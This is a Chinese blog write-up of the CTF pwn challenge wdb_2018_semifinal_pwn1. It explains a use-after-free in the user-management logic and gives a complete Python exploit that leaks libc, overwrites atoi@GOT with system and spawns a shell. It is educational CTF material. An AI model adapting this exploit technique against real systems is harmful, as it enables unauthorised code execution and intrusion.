wdb_2018_semifinal_pwn1

总结

其实就是很简单的UAF的题目,只是结构体和分支比较复杂一点,所以逆向难度增加了。利用其实很简单。

题目分析

checksec

image-20210912175508671

远程环境为libc-2.23-so

结构体

主要涉及到两个结构体。一个是玩家信息的结构体:

1
2
3
4
5
6
7
8
9
struct __attribute__((aligned(8))) User
{
  char *name;
  uint64_t age;
  char descripe[256];
  Message *msg_ptr;
  User *friend;
  uint64_t status;
};

一个是消息的结构体:

1
2
3
4
5
6
struct Message
{
  char *title;
  char *content;
  char *next_message;
};

漏洞点

manager_friend的分支,可以删除任意用户。但是删除该用户后,还能用该用户登录。

image-20210912175746614

利用思路

  • 注册两个用户user1user2
  • user1登录,然后添加user2为朋友,然后删除user2这个朋友
  • 注册0x401816的用户,这样user2的名字就成了Done!,并且可以登录
  • 登录user2,查看profile即可泄露出main_arena+88的地址
  • 然后登录0x401816用户,修改usernameatoi@got
  • 再登录atoi_addr用户,然后update,修改atoi@gotsystem地址,再输入/bin/sh即可拿到shell

Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']


def register(name_size:int, name:(str, bytes), age:int, desc:(str, bytes)="a"):
    p.sendlineafter("Your choice:", "2")
    p.sendlineafter("Input your name size:", str(name_size))
    p.sendafter("Input your name:", name)
    p.sendlineafter("Input your age:", str(age))
    if age > 17:
        p.sendafter("Input your description:", desc)


def login(user_name:(str, bytes)):
    p.sendlineafter("Your choice:", "1")
    p.sendafter("Please input your user name:", user_name)
    msg = p.recvline()
    info("Msg recv: {}".format(msg))
    return msg


def view_profile():
    p.sendlineafter("Your choice:", "1")
    msg = p.recvlines(3)
    info("Msg recv: {}".format(msg))
    return msg


def update_profile(user_name:(str, bytes), age:int, desc:(str, bytes)):
    p.sendlineafter("Your choice:", "2")
    p.sendafter("Input your name:", user_name)
    p.sendlineafter("Input your age:", str(age))
    p.sendafter("Input your description:", desc)


def add_delete_friend(add_delete:str, friend_name:(str, bytes)):
    p.sendlineafter("Your choice:", "3")
    p.sendafter("Input the friend's name:", friend_name)
    p.sendlineafter("So..Do u want to add or delete this friend?(a/d)", add_delete)


def send_message(friend_name:(str, bytes), title:(str, bytes), content:(str, bytes)):
    p.sendlineafter("Your choice:", "4")
    p.sendafter("Which user do you want to send a msg to:", friend_name)
    p.sendafter("Input your message title:", title)
    p.sendafter("Input your content:", content)


def view_message():
    p.sendlineafter("Your choice:", "5")
    msg = p.recvuntil("1.view profile\n")
    info("Msg recv: {}".format(msg))
    return msg

def logout():
    p.sendlineafter("Your choice:", "6")


register(0x10, "user1", 16)
register(0x10, "user2", 16)


login("user1\x00")
add_delete_friend('a', "user2\x00")

add_delete_friend('d', "user2\x00")

logout()
register(0x128, p64(0x401816), 16)

# stop()
login("Done!" + "\x00")
_, leak_addr, _1 = view_profile()

libc_base_addr = int16(leak_addr[4:].decode()) - 0x3c4b78
log_address("libc_base_addr", libc_base_addr)

logout()

login(p64(0x401816))
update_profile(p64(0x602060), 123, "deadbeef")
logout()

login(p64(libc_base_addr + libc.sym['atoi']))

p.sendlineafter("Your choice:", "2")
p.sendafter("Input your name:", p64(libc_base_addr + libc.sym['system']))
p.sendafter("Input your description:", "/bin/sh\x00")
p.sendline("/bin/sh\x00")

p.interactive()

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%